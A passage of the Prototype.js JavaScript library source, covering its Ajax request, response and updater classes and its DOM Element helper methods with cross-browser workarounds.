      this.url += (this.url.include('?') ? '&' : '?') + params;
    }

    this.parameters = params.toQueryParams();

    try {
      var response = new Ajax.Response(this);
      if (this.options.onCreate) this.options.onCreate(response);
      Ajax.Responders.dispatch('onCreate', this, response);

      this.transport.open(this.method.toUpperCase(), this.url,
        this.options.asynchronous);

      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);

      this.transport.onreadystatechange = this.onStateChange.bind(this);
      this.setRequestHeaders();

      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
      this.transport.send(this.body);

      /* Force Firefox to handle ready state 4 for synchronous requests */
      if (!this.options.asynchronous && this.transport.overrideMimeType)
        this.onStateChange();

    }
    catch (e) {
      this.dispatchException(e);
    }
  },

  onStateChange: function() {
    var readyState = this.transport.readyState;
    if (readyState > 1 && !((readyState == 4) && this._complete))
      this.respondToReadyState(this.transport.readyState);
  },

  setRequestHeaders: function() {
    var headers = {
      'X-Requested-With': 'XMLHttpRequest',
      'X-Prototype-Version': Prototype.Version,
      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
    };

    if (this.method == 'post') {
      headers['Content-type'] = this.options.contentType +
        (this.options.encoding ? '; charset=' + this.options.encoding : '');

      /* Force "Connection: close" for older Mozilla browsers to work
       * around a bug where XMLHttpRequest sends an incorrect
       * Content-length header. See Mozilla Bugzilla #246651.
       */
      if (this.transport.overrideMimeType &&
          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
            headers['Connection'] = 'close';
    }

    if (typeof this.options.requestHeaders == 'object') {
      var extras = this.options.requestHeaders;

      if (Object.isFunction(extras.push))
        for (var i = 0, length = extras.length; i < length; i += 2)
          headers[extras[i]] = extras[i+1];
      else
        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
    }

    for (var name in headers)
      this.transport.setRequestHeader(name, headers[name]);
  },

  success: function() {
    var status = this.getStatus();
    return !status || (status >= 200 && status < 300) || status == 304;
  },

  getStatus: function() {
    try {
      if (this.transport.status === 1223) return 204;
      return this.transport.status || 0;
    } catch (e) { return 0 }
  },

  respondToReadyState: function(readyState) {
    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);

    if (state == 'Complete') {
      try {
        this._complete = true;
        (this.options['on' + response.status]
         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
         || Prototype.emptyFunction)(response, response.headerJSON);
      } catch (e) {
        this.dispatchException(e);
      }

      var contentType = response.getHeader('Content-type');
      if (this.options.evalJS == 'force'
          || (this.options.evalJS && this.isSameOrigin() && contentType
          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
        this.evalResponse();
    }

    try {
      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
    } catch (e) {
      this.dispatchException(e);
    }

    if (state == 'Complete') {
      this.transport.onreadystatechange = Prototype.emptyFunction;
    }
  },

  isSameOrigin: function() {
    var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
    return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
      protocol: location.protocol,
      domain: document.domain,
      port: location.port ? ':' + location.port : ''
    }));
  },

  getHeader: function(name) {
    try {
      return this.transport.getResponseHeader(name) || null;
    } catch (e) { return null; }
  },

  evalResponse: function() {
    try {
      return eval((this.transport.responseText || '').unfilterJSON());
    } catch (e) {
      this.dispatchException(e);
    }
  },

  dispatchException: function(exception) {
    (this.options.onException || Prototype.emptyFunction)(this, exception);
    Ajax.Responders.dispatch('onException', this, exception);
  }
});

Ajax.Request.Events =
  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];








Ajax.Response = Class.create({
  initialize: function(request){
    this.request = request;
    var transport  = this.transport  = request.transport,
        readyState = this.readyState = transport.readyState;

    if ((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
      this.status       = this.getStatus();
      this.statusText   = this.getStatusText();
      this.responseText = String.interpret(transport.responseText);
      this.headerJSON   = this._getHeaderJSON();
    }

    if (readyState == 4) {
      var xml = transport.responseXML;
      this.responseXML  = Object.isUndefined(xml) ? null : xml;
      this.responseJSON = this._getResponseJSON();
    }
  },

  status:      0,

  statusText: '',

  getStatus: Ajax.Request.prototype.getStatus,

  getStatusText: function() {
    try {
      return this.transport.statusText || '';
    } catch (e) { return '' }
  },

  getHeader: Ajax.Request.prototype.getHeader,

  getAllHeaders: function() {
    try {
      return this.getAllResponseHeaders();
    } catch (e) { return null }
  },

  getResponseHeader: function(name) {
    return this.transport.getResponseHeader(name);
  },

  getAllResponseHeaders: function() {
    return this.transport.getAllResponseHeaders();
  },

  _getHeaderJSON: function() {
    var json = this.getHeader('X-JSON');
    if (!json) return null;
    json = decodeURIComponent(escape(json));
    try {
      return json.evalJSON(this.request.options.sanitizeJSON ||
        !this.request.isSameOrigin());
    } catch (e) {
      this.request.dispatchException(e);
    }
  },

  _getResponseJSON: function() {
    var options = this.request.options;
    if (!options.evalJSON || (options.evalJSON != 'force' &&
      !(this.getHeader('Content-type') || '').include('application/json')) ||
        this.responseText.blank())
          return null;
    try {
      return this.responseText.evalJSON(options.sanitizeJSON ||
        !this.request.isSameOrigin());
    } catch (e) {
      this.request.dispatchException(e);
    }
  }
});

Ajax.Updater = Class.create(Ajax.Request, {
  initialize: function($super, container, url, options) {
    this.container = {
      success: (container.success || container),
      failure: (container.failure || (container.success ? null : container))
    };

    options = Object.clone(options);
    var onComplete = options.onComplete;
    options.onComplete = (function(response, json) {
      this.updateContent(response.responseText);
      if (Object.isFunction(onComplete)) onComplete(response, json);
    }).bind(this);

    $super(url, options);
  },

  updateContent: function(responseText) {
    var receiver = this.container[this.success() ? 'success' : 'failure'],
        options = this.options;

    if (!options.evalScripts) responseText = responseText.stripScripts();

    if (receiver = $(receiver)) {
      if (options.insertion) {
        if (Object.isString(options.insertion)) {
          var insertion = { }; insertion[options.insertion] = responseText;
          receiver.insert(insertion);
        }
        else options.insertion(receiver, responseText);
      }
      else receiver.update(responseText);
    }
  }
});

Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
  initialize: function($super, container, url, options) {
    $super(options);
    this.onComplete = this.options.onComplete;

    this.frequency = (this.options.frequency || 2);
    this.decay = (this.options.decay || 1);

    this.updater = { };
    this.container = container;
    this.url = url;

    this.start();
  },

  start: function() {
    this.options.onComplete = this.updateComplete.bind(this);
    this.onTimerEvent();
  },

  stop: function() {
    this.updater.options.onComplete = undefined;
    clearTimeout(this.timer);
    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
  },

  updateComplete: function(response) {
    if (this.options.decay) {
      this.decay = (response.responseText == this.lastText ?
        this.decay * this.options.decay : 1);

      this.lastText = response.responseText;
    }
    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
  },

  onTimerEvent: function() {
    this.updater = new Ajax.Updater(this.container, this.url, this.options);
  }
});


function $(element) {
  if (arguments.length > 1) {
    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
      elements.push($(arguments[i]));
    return elements;
  }
  if (Object.isString(element))
    element = document.getElementById(element);
  return Element.extend(element);
}

if (Prototype.BrowserFeatures.XPath) {
  document._getElementsByXPath = function(expression, parentElement) {
    var results = [];
    var query = document.evaluate(expression, $(parentElement) || document,
      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
    for (var i = 0, length = query.snapshotLength; i < length; i++)
      results.push(Element.extend(query.snapshotItem(i)));
    return results;
  };
}

/*--------------------------------------------------------------------------*/

if (!Node) var Node = { };

if (!Node.ELEMENT_NODE) {
  Object.extend(Node, {
    ELEMENT_NODE: 1,
    ATTRIBUTE_NODE: 2,
    TEXT_NODE: 3,
    CDATA_SECTION_NODE: 4,
    ENTITY_REFERENCE_NODE: 5,
    ENTITY_NODE: 6,
    PROCESSING_INSTRUCTION_NODE: 7,
    COMMENT_NODE: 8,
    DOCUMENT_NODE: 9,
    DOCUMENT_TYPE_NODE: 10,
    DOCUMENT_FRAGMENT_NODE: 11,
    NOTATION_NODE: 12
  });
}



(function(global) {
  function shouldUseCache(tagName, attributes) {
    if (tagName === 'select') return false;
    if ('type' in attributes) return false;
    return true;
  }

  var HAS_EXTENDED_CREATE_ELEMENT_SYNTAX = (function(){
    try {
      var el = document.createElement('<input name="x">');
      return el.tagName.toLowerCase() === 'input' && el.name === 'x';
    }
    catch(err) {
      return false;
    }
  })();

  var element = global.Element;

  global.Element = function(tagName, attributes) {
    attributes = attributes || { };
    tagName = tagName.toLowerCase();
    var cache = Element.cache;

    if (HAS_EXTENDED_CREATE_ELEMENT_SYNTAX && attributes.name) {
      tagName = '<' + tagName + ' name="' + attributes.name + '">';
      delete attributes.name;
      return Element.writeAttribute(document.createElement(tagName), attributes);
    }

    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));

    var node = shouldUseCache(tagName, attributes) ?
     cache[tagName].cloneNode(false) : document.createElement(tagName);

    return Element.writeAttribute(node, attributes);
  };

  Object.extend(global.Element, element || { });
  if (element) global.Element.prototype = element.prototype;

})(this);

Element.idCounter = 1;
Element.cache = { };

Element._purgeElement = function(element) {
  var uid = element._prototypeUID;
  if (uid) {
    Element.stopObserving(element);
    element._prototypeUID = void 0;
    delete Element.Storage[uid];
  }
}

Element.Methods = {
  visible: function(element) {
    return $(element).style.display != 'none';
  },

  toggle: function(element) {
    element = $(element);
    Element[Element.visible(element) ? 'hide' : 'show'](element);
    return element;
  },

  hide: function(element) {
    element = $(element);
    element.style.display = 'none';
    return element;
  },

  show: function(element) {
    element = $(element);
    element.style.display = '';
    return element;
  },

  remove: function(element) {
    element = $(element);
    element.parentNode.removeChild(element);
    return element;
  },

  update: (function(){

    var SELECT_ELEMENT_INNERHTML_BUGGY = (function(){
      var el = document.createElement("select"),
          isBuggy = true;
      el.innerHTML = "<option value=\"test\">test</option>";
      if (el.options && el.options[0]) {
        isBuggy = el.options[0].nodeName.toUpperCase() !== "OPTION";
      }
      el = null;
      return isBuggy;
    })();

    var TABLE_ELEMENT_INNERHTML_BUGGY = (function(){
      try {
        var el = document.createElement("table");
        if (el && el.tBodies) {
          el.innerHTML = "<tbody><tr><td>test</td></tr></tbody>";
          var isBuggy = typeof el.tBodies[0] == "undefined";
          el = null;
          return isBuggy;
        }
      } catch (e) {
        return true;
      }
    })();

    var LINK_ELEMENT_INNERHTML_BUGGY = (function() {
      try {
        var el = document.createElement('div');
        el.innerHTML = "<link>";
        var isBuggy = (el.childNodes.length === 0);
        el = null;
        return isBuggy;
      } catch(e) {
        return true;
      }
    })();

    var ANY_INNERHTML_BUGGY = SELECT_ELEMENT_INNERHTML_BUGGY ||
     TABLE_ELEMENT_INNERHTML_BUGGY || LINK_ELEMENT_INNERHTML_BUGGY;

    var SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING = (function () {
      var s = document.createElement("script"),
          isBuggy = false;
      try {
        s.appendChild(document.createTextNode(""));
        isBuggy = !s.firstChild ||
          s.firstChild && s.firstChild.nodeType !== 3;
      } catch (e) {
        isBuggy = true;
      }
      s = null;
      return isBuggy;
    })();


    function update(element, content) {
      element = $(element);
      var purgeElement = Element._purgeElement;

      var descendants = element.getElementsByTagName('*'),
       i = descendants.length;
      while (i--) purgeElement(descendants[i]);

      if (content && content.toElement)
        content = content.toElement();

      if (Object.isElement(content))
        return element.update().insert(content);

      content = Object.toHTML(content);

      var tagName = element.tagName.toUpperCase();

      if (tagName === 'SCRIPT' && SCRIPT_ELEMENT_REJECTS_TEXTNODE_APPENDING) {
        element.text = content;
        return element;
      }

      if (ANY_INNERHTML_BUGGY) {
        if (tagName in Element._insertionTranslations.tags) {
          while (element.firstChild) {
            element.removeChild(element.firstChild);
          }
          Element._getContentFromAnonymousElement(tagName, content.stripScripts())
            .each(function(node) {
              element.appendChild(node)
            });
        } else if (LINK_ELEMENT_INNERHTML_BUGGY && Object.isString(content) && content.indexOf('<link') > -1) {
          while (element.firstChild) {
            element.removeChild(element.firstChild);
          }
          var nodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts(), true);
          nodes.each(function(node) { element.appendChild(node) });
        }
        else {
          element.innerHTML = content.stripScripts();
        }
      }
      else {
        element.innerHTML = content.stripScripts();
      }

      content.evalScripts.bind(content).defer();
      return element;
    }

    return update;
  })(),

  replace: function(element, content) {
    element = $(element);
    if (content && content.toElement) content = content.toElement();
    else if (!Object.isElement(content)) {
      content = Object.toHTML(content);
      var range = element.ownerDocument.createRange();
      range.selectNode(element);
      content.evalScripts.bind(content).defer();
      content = range.createContextualFragment(content.stripScripts());
    }
    element.parentNode.replaceChild(content, element);
    return element;
  },

  insert: function(element, insertions) {
    element = $(element);

    if (Object.isString(insertions) || Object.isNumber(insertions) ||
        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
          insertions = {bottom:insertions};

    var content, insert, tagName, childNodes;

    for (var position in insertions) {
      content  = insertions[position];
      position = position.toLowerCase();
      insert = Element._insertionTranslations[position];

      if (content && content.toElement) content = content.toElement();
      if (Object.isElement(content)) {
        insert(element, content);
        continue;
      }

      content = Object.toHTML(content);

      tagName = ((position == 'before' || position == 'after')
        ? element.parentNode : element).tagName.toUpperCase();

      childNodes = Element._getContentFromAnonymousElement(tagName, content.stripScripts());

      if (position == 'top' || position == 'after') childNodes.reverse();
      childNodes.each(insert.curry(element));

      content.evalScripts.bind(content).defer();
    }

    return element;
  },

  wrap: function(element, wrapper, attributes) {
    element = $(element);
    if (Object.isElement(wrapper))
      $(wrapper).writeAttribute(attributes || { });
    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
    else wrapper = new Element('div', wrapper);
    if (element.parentNode)
      element.parentNode.replaceChild(wrapper, element);
    wrapper.appendChild(element);
    return wrapper;
  },

  inspect: function(element) {
    element = $(element);
    var result = '<' + element.tagName.toLowerCase();
    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
      var property = pair.first(),
          attribute = pair.last(),
          value = (element[property] || '').toString();
      if (value) result += ' ' + attribute + '=' + value.inspect(true);
    });
    return result + '>';
  },

  recursivelyCollect: function(element, property, maximumLength) {
    element = $(element);
    maximumLength = maximumLength || -1;
    var elements = [];

    while (element = element[property]) {
      if (element.nodeType == 1)
        elements.push(Element.extend(element));
      if (elements.length == maximumLength)
        break;
    }

    return elements;
  },

  ancestors: function(element) {
    return Element.recursivelyCollect(element, 'parentNode');
  },

  descendants: function(element) {
    return Element.select(element, "*");
  },

  firstDescendant: function(element) {
    element = $(element).firstChild;
    while (element && element.nodeType != 1) element = element.nextSibling;
    return $(element);
  },

  immediateDescendants: function(element) {
    var results = [], child = $(element).firstChild;
    while (child) {
      if (child.nodeType === 1) {
        results.push(Element.extend(child));
      }
      child = child.nextSibling;
    }
    return results;
  },

  previousSiblings: function(element, maximumLength) {
    return Element.recursivelyCollect(element, 'previousSibling');
  },

  nextSiblings: function(element) {
    return Element.recursivelyCollect(element, 'nextSibling');
  },

  siblings: function(element) {
    element = $(element);
    return Element.previousSiblings(element).reverse()
      .concat(Element.nextSiblings(element));
  },

  match: function(element, selector) {
    element = $(element);
    if (Object.isString(selector))
      return Prototype.Selector.match(element, selector);
    return selector.match(element);
  },

  up: function(element, expression, index) {
    element = $(element);
    if (arguments.length == 1) return $(element.parentNode);
    var ancestors = Element.ancestors(element);
    return Object.isNumber(expression) ? ancestors[expression] :
      Prototype.Selector.find(ancestors, expression, index);
  },

  down: function(element, expression, index) {
    element = $(element);
    if (arguments.length == 1) return Element.firstDescendant(element);
    return Object.isNumber(expression) ? Element.descendants(element)[expression] :
      Element.select(element, expression)[index || 0];
  },

  previous: function(element, expression, index) {
    element = $(element);
    if (Object.isNumber(expression)) index = expression, expression = false;
    if (!Object.isNumber(index)) index = 0;

    if (expression) {
      return Prototype.Selector.find(element.previousSiblings(), expression, index);
    } else {
      return element.recursivelyCollect("previousSibling", index + 1)[index];
    }
  },

  next: function(element, expression, index) {
    element = $(element);
    if (Object.isNumber(expression)) index = expression, expression = false;
    if (!Object.isNumber(index)) index = 0;

    if (expression) {
      return Prototype.Selector.find(element.nextSiblings(), expression, index);
    } else {
      var maximumLength = Object.isNumber(index) ? index + 1 : 1;
      return element.recursivelyCollect("nextSibling", index + 1)[index];
    }
  },


  select: function(element) {
    element = $(element);
    var expressions = Array.prototype.slice.call(arguments, 1).join(', ');
    return Prototype.Selector.select(expressions, element);
  },

  adjacent: function(element) {
    element = $(element);
    var expressions = Array.prototype.slice.call(arguments, 1).join(', ');
    return Prototype.Selector.select(expressions, element.parentNode).without(element);
  },

  identify: function(element) {
    element = $(element);
    var id = Element.readAttribute(element, 'id');
    if (id) return id;
    do { id = 'anonymous_element_' + Element.idCounter++ } while ($(id));
    Element.writeAttribute(element, 'id', id);
    return id;
  },

  readAttribute: function(element, name) {
    element = $(element);
    if (Prototype.Browser.IE) {
      var t = Element._attributeTranslations.read;
      if (t.values[name]) return t.values[name](element, name);
      if (t.names[name]) name = t.names[name];
      if (name.include(':')) {
        return (!element.attributes || !element.attributes[name]) ? null :
         element.attributes[name].value;
      }
    }
    return element.getAttribute(name);
  },

  writeAttribute: function(element, name, value) {
    element = $(element);
    var attributes = { }, t = Element._attributeTranslations.write;

    if (typeof name == 'object') attributes = name;
    else attributes[name] = Object.isUndefined(value) ? true : value;

    for (var attr in attributes) {
      name = t.names[attr] || attr;
      value = attributes[attr];
      if (t.values[attr]) name = t.values[attr](element, value);
      if (value === false || value === null)
        element.removeAttribute(name);
      else if (value === true)
        element.setAttribute(name, name);
      else element.setAttribute(name, value);
    }
    return element;
  },

  getHeight: function(element) {
    return Element.getDimensions(element).height;
  },

  getWidth: function(element) {
    return Element.getDimensions(element).width;
  },

  classNames: function(element) {
    return new Element.ClassNames(element);
  },

  hasClassName: function(element, className) {
    if (!(element = $(element))) return;
    var elementClassName = element.className;
    return (elementClassName.length > 0 && (elementClassName == className ||
      new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
  },

  addClassName: function(element, className) {
    if (!(element = $(element))) return;
    if (!Element.hasClassName(element, className))
      element.className += (element.className ? ' ' : '') + className;
    return element;
  },

  removeClassName: function(element, className) {
    if (!(element = $(element))) return;
    element.className = element.className.replace(
      new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' ').strip();
    return element;
  },

  toggleClassName: function(element, className) {
    if (!(element = $(element))) return;
    return Element[Element.hasClassName(element, className) ?
      'removeClassName' : 'addClassName'](element, className);
  },

  cleanWhitespace: function(element) {
    element = $(element);
    var node = element.firstChild;
    while (node) {
      var nextNode = node.nextSibling;
      if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
        element.removeChild(node);
      node = nextNode;
    }
    return element;
  },

  empty: function(element) {
    return $(element).innerHTML.blank();
  },

  descendantOf: function(element, ancestor) {
    element = $(element), ancestor = $(ancestor);

    if (element.compareDocumentPosition)
      return (element.compareDocumentPosition(ancestor) & 8) === 8;

    if (ancestor.contains)
      return ancestor.contains(element) && ancestor !== element;

    while (element = element.parentNode)
      if (element == ancestor) return true;

    return false;
  },

  scrollTo: function(element) {
    element = $(element);
    var pos = Element.cumulativeOffset(element);
    window.scrollTo(pos[0], pos[1]);
    return element;
  },

  getStyle: function(element, style) {
    element = $(element);
    style = style == 'float' ? 'cssFloat' : style.camelize();
    var value = element.style[style];
    if (!value || value == 'auto') {
      var css = document.defaultView.getComputedStyle(element, null);
      value = css ? css[style] : null;
    }
    if (style == 'opacity') return value ? parseFloat(value) : 1.0;
    return value == 'auto' ? null : value;
  },

  getOpacity: function(element) {
    return $(element).getStyle('opacity');
  },

  setStyle: function(element, styles) {
    element = $(element);
    var elementStyle = element.style, match;
    if (Object.isString(styles)) {
      element.style.cssText += ';' + styles;
      return styles.include('opacity') ?
        element.setOpacity(styles.match(/opacity:\s*(\d?\.?\d*)/)[1]) : element;
    }
    for (var property in styles)
      if (property == 'opacity') element.setOpacity(styles[property]);
      else
        elementStyle[(property == 'float' || property == 'cssFloat') ?
          (Object.isUndefined(elementStyle.styleFloat) ? 'cssFloat' : 'styleFloat') :
            property] = styles[property];

    return element;
  },

  setOpacity: function(element, value) {
    element = $(element);
    element.style.opacity = (value == 1 || value === '') ? '' :
      (value < 0.00001) ? 0 : value;
    return element;
  },

  makePositioned: function(element) {
    element = $(element);
    var pos = Element.getStyle(element, 'position');
    if (pos == 'static' || !pos) {
      element._madePositioned = true;
      element.style.position = 'relative';
      if (Prototype.Browser.Opera) {
        element.style.top = 0;
        element.style.left = 0;
      }
    }
    return element;
  },

  undoPositioned: function(element) {
    element = $(element);
    if (element._madePositioned) {
      element._madePositioned = undefined;
      element.style.position =
        element.style.top =
        element.style.left =
        element.style.bottom =
        element.style.right = '';
    }
    return element;
  },

  makeClipping: function(element) {
    element = $(element);
    if (element._overflow) return element;
    element._overflow = Element.getStyle(element, 'overflow') || 'auto';
    if (element._overflow !== 'hidden')
      element.style.overflow = 'hidden';
    return element;
  },

  undoClipping: function(element) {
    element = $(element);
    if (!element._overflow) return element;
    element.style.overflow = element._overflow == 'auto' ? '' : element._overflow;
    element._overflow = null;
    return element;
  },

  clonePosition: function(element, source) {
    var options = Object.extend({
      setLeft:    true,
      setTop:     true,
      setWidth:   true,
      setHeight:  true,
      offsetTop:  0,
      offsetLeft: 0
    }, arguments[2] || { });

    source = $(source);
    var p = Element.viewportOffset(source), delta = [0, 0], parent = null;

    element = $(element);

    if (Element.getStyle(element, 'position') == 'absolute') {
      parent = Element.getOffsetParent(element);
      delta = Element.viewportOffset(parent);
    }

    if (parent == document.body) {
      delta[0] -= document.body.offsetLeft;
      delta[1] -= document.body.offsetTop;
    }

    if (options.setLeft)   element.style.left  = (p[0] - delta[0] + options.offsetLeft) + 'px';
    if (options.setTop)    element.style.top   = (p[1] - delta[1] + options.offsetTop) + 'px';
    if (options.setWidth)  element.style.width = source.offsetWidth + 'px';
    if (options.setHeight) element.style.height = source.offsetHeight + 'px';
    return element;
  }
};

Object.extend(Element.Methods, {
  getElementsBySelector: Element.Methods.select,

  childElements: Element.Methods.immediateDescendants
});

Element._attributeTranslations = {
  write: {
    names: {
      className: 'class',
      htmlFor:   'for'
    },
    values: { }
  }
};

if (Prototype.Browser.Opera) {
  Element.Methods.getStyle = Element.Methods.getStyle.wrap(
    function(proceed, element, style) {
      switch (style) {
        case 'height': case 'width':
          if (!Element.visible(element)) return null;

          var dim = parseInt(proceed(element, style), 10);

          if (dim !== element['offset' + style.capitalize()])
            return dim + 'px';

          var properties;
          if (style === 'height') {
            properties = ['border-top-width', 'padding-top',
             'padding-bottom', 'border-bottom-width'];
          }
          else {
            properties = ['border-left-width', 'padding-left',
             'padding-right', 'border-right-width'];
          }
          return properties.inject(dim, function(memo, property) {
            var val = proceed(element, property);
            return val === null ? memo : memo - parseInt(val, 10);
          }) + 'px';
        default: return proceed(element, style);
      }
    }
  );

  Element.Methods.readAttribute = Element.Methods.readAttribute.wrap(
    function(proceed, element, attribute) {
      if (attribute === 'title') return element.title;
      return proceed(element, attribute);
    }
  );
}

else if (Prototype.Browser.IE) {
  Element.Methods.getStyle = function(element, style) {
    element = $(element);
    style = (style == 'float' || style == 'cssFloat') ? 'styleFloat' : style.camelize();
    var value = element.style[style];
    if (!value && element.currentStyle) value = element.currentStyle[style];

    if (style == 'opacity') {
      if (value = (element.getStyle('filter') || '').match(/alpha\(opacity=(.*)\)/))
        if (value[1]) return parseFloat(value[1]) / 100;
      return 1.0;
    }

    if (value == 'auto') {
      if ((style == 'width' || style == 'height') && (element.getStyle('display') != 'none'))
        return element['offset' + style.capitalize()] + 'px';
      return null;
    }
    return value;
  };

  Element.Methods.setOpacity = function(element, value) {
    function stripAlpha(filter){
      return filter.replace(/alpha\([^\)]*\)/gi,'');
    }
    element = $(element);
    var currentStyle = element.currentStyle;
    if ((currentStyle && !currentStyle.hasLayout) ||
      (!currentStyle && element.style.zoom == 'normal'))
        element.style.zoom = 1;

    var filter = element.getStyle('filter'), style = element.style;
    if (value == 1 || value === '') {
      (filter = stripAlpha(filter)) ?
        style.filter = filter : style.removeAttribute('filter');
      return element;
    } else if (value < 0.00001) value = 0;
    style.filter = stripAlpha(filter) +
      'alpha(opacity=' + (value * 100) + ')';
    return element;
  };

  Element._attributeTranslations = (function(){

    var classProp = 'className',
        forProp = 'for',
        el = document.createElement('div');

    el.setAttribute(classProp, 'x');

    if (el.className !== 'x') {
      el.setAttribute('class', 'x');
      if (el.className === 'x') {
        classProp = 'class';
      }
    }
    el = null;

    el = document.createElement('label');
    el.setAttribute(forProp, 'x');
    if (el.htmlFor !== 'x') {
      el.setAttribute('htmlFor', 'x');
      if (el.htmlFor === 'x') {
        forProp = 'htmlFor';
      }
    }
    el = null;

    return {
      read: {
        names: {
          'class':      classProp,
          'className':  classProp,
          'for':        forProp,
          'htmlFor':    forProp
        },
        values: {
          _getAttr: function(element, attribute) {
            return element.getAttribute(attribute);
          },
          _getAttr2: function(element, attribute) {
            return element.getAttribute(attribute, 2);
          },
          _getAttrNode: function(element, attribute) {
            var node = element.getAttributeNode(attribute);
            return node ? node.value : "";
          },
          _getEv: (function(){

            var el = document.createElement('div'), f;
            el.onclick = Prototype.emptyFunction;
            var value = el.getAttribute('onclick');

            if (String(value).indexOf('{') > -1) {
              f = function(element, attribute) {
                attribute = element.getAttribute(attribute);
                if (!attribute) return null;
                attribute = attribute.toString();
                attribute = attribute.split('{')[1];
                attribute = attribute.split('}')[0];
                return attribute.strip();
              };
            }
            else if (value === '') {
              f = function(element, attribute) {
                attribute = element.getAttribute(attribute);
                if (!attribute) return null;
                return attribute.strip();
              };
            }
            el = null;
            return f;
          })(),
          _flag: function(element, attribute) {
            return $(element).hasAttribute(attribute) ? attribute : null;
          },
          style: function(element) {
            return element.style.cssText.toLowerCase();
          },
          title: function(element) {
            return element.title;
          }
        }
      }
    }
  })();

  Element._attributeTranslations.write = {
    names: Object.extend({
      cellpadding: 'cellPadding',
      cellspacing: 'cellSpacing'
    }, Element._attributeTranslations.read.names),
    values: {
      checked: function(element, value) {
        element.checked = !!value;
      },

      style: function(element, value) {
        element.style.cssText = value ? value : '';
      }
    }
  };

  Element._attributeTranslations.has = {};

  $w('colSpan rowSpan vAlign dateTime accessKey tabIndex ' +
      'encType maxLength readOnly longDesc frameBorder').each(function(attr) {
    Element._attributeTranslations.write.names[attr.toLowerCase()] = attr;
    Element._attributeTranslations.has[attr.toLowerCase()] = attr;
  });

  (function(v) {
    Object.extend(v, {
      href:        v._getAttr2,
      src:         v._getAttr2,
      type:        v._getAttr,
      action:      v._getAttrNode,
      disabled:    v._flag,
      checked:     v._flag,
      readonly:    v._flag,
      multiple:    v._flag,
      onload:      v._getEv,
      onunload:    v._getEv,
      onclick:     v._getEv,
      ondblclick:  v._getEv,
      onmousedown: v._getEv,
      onmouseup:   v._getEv,
      onmouseover: v._getEv,
      onmousemove: v._getEv,
      onmouseout:  v._getEv,
      onfocus:     v._getEv,
      onblur:      v._getEv,
      onkeypress:  v._getEv,
      onkeydown:   v._getEv,
      onkeyup:     v._getEv,
      onsubmit:    v._getEv,
      onreset:     v._getEv,
      onselect:    v._getEv,
      onchange:    v._getEv
    });
  })(Element._attributeTranslations.read.values);

  if (Prototype.BrowserFeatures.ElementExtensions) {
    (function() {
      function _descendants(element) {
        var nodes = element.getElementsByTagName('*'), results = [];
        for (var i = 0, node; node = nodes[i]; i++)
          if (node.tagName !== "!") // Filter out comment nodes.
            results.push(node);
        return results;
      }

      Element.Methods.down = function(element, expression, index) {
        element = $(element);
        if (arguments.length == 1) return element.firstDescendant();
        return Object.isNumber(expression) ? _descendants(element)[expression] :
          Element.select(element, expression)[index || 0];
      }
    })();
  }

}

else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) {
  Element.Methods.setOpacity = function(element, value) {
    element = $(element);
    element.style.opacity = (value == 1) ? 0.999999 :
      (value === '') ? '' : (value < 0.00001) ? 0 : value;
    return element;
  };
}

else if (Prototype.Browser.WebKit) {
  Element.Methods.setOpacity = function(element, value) {
    element = $(element);
    element.style.opacity = (value == 1 || value === '') ? '' :
      (value < 0.00001) ? 0 : value;

    if (value == 1)
      if (element.tagName.toUpperCase() == 'IMG' && element.width) {
        element.width++; element.width--;
      } else try {
        var n = document.createTextNode(' ');
        element.appendChild(n);
        element.removeChild(n);
      } catch (e) { }

    return element;
  };
}

if ('outerHTML' in document.documentElement) {
  Element.Methods.replace = function(element, content) {
    element = $(element);

    if (content && content.toElement) content = content.toElement();
    if (Object.isElement(content)) {
      element.parentNode.replaceChild(content, element);
      return element;
    }

    content = Object.toHTML(content);
    var parent = element.parentNode, tagName = parent.tagName.toUpperCase();

    if (Element._insertionTranslations.tags[tagName]) {
      var nextSibling = element.next(),
          fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts());
      parent.removeChild(element);
      if (nextSibling)
        fragments.each(function(node) { parent.insertBefore(node, nextSibling) });
      else
        fragments.each(function(node) { parent.appendChild(node) });
    }
    else element.outerHTML = content.stripScripts();

    content.evalScripts.bind(content).defer();
    return element;
  };
}

Element._returnOffset = function(l, t) {
  var result = [l, t];
  result.left = l;
  result.top = t;
  return result;
};

Element._getContentFromAnonymousElement = function(tagName, html, force) {
  var div = new Element('div'),
      t = Element._insertionTranslations.tags[tagName];

  var workaround = false;
  if (t) workaround = true;
  else if (force) {
    workaround = true;
    t = ['', '', 0];
  }

  if (workaround) {
    div.innerHTML = '&nbsp;' + t[0] + html + t[1];
    div.removeChild(div.firstChild);
    for (var i = t[2]; i--; ) {
      div = div.firstChild;
    }
  }
  else {
    div.innerHTML = html;
  }
  return $A(div.childNodes);
};

Element._insertionTranslations = {
  before: function(element, node) {
    element.parentNode.insertBefore(node, element);
  },
  top: function(element, node) {
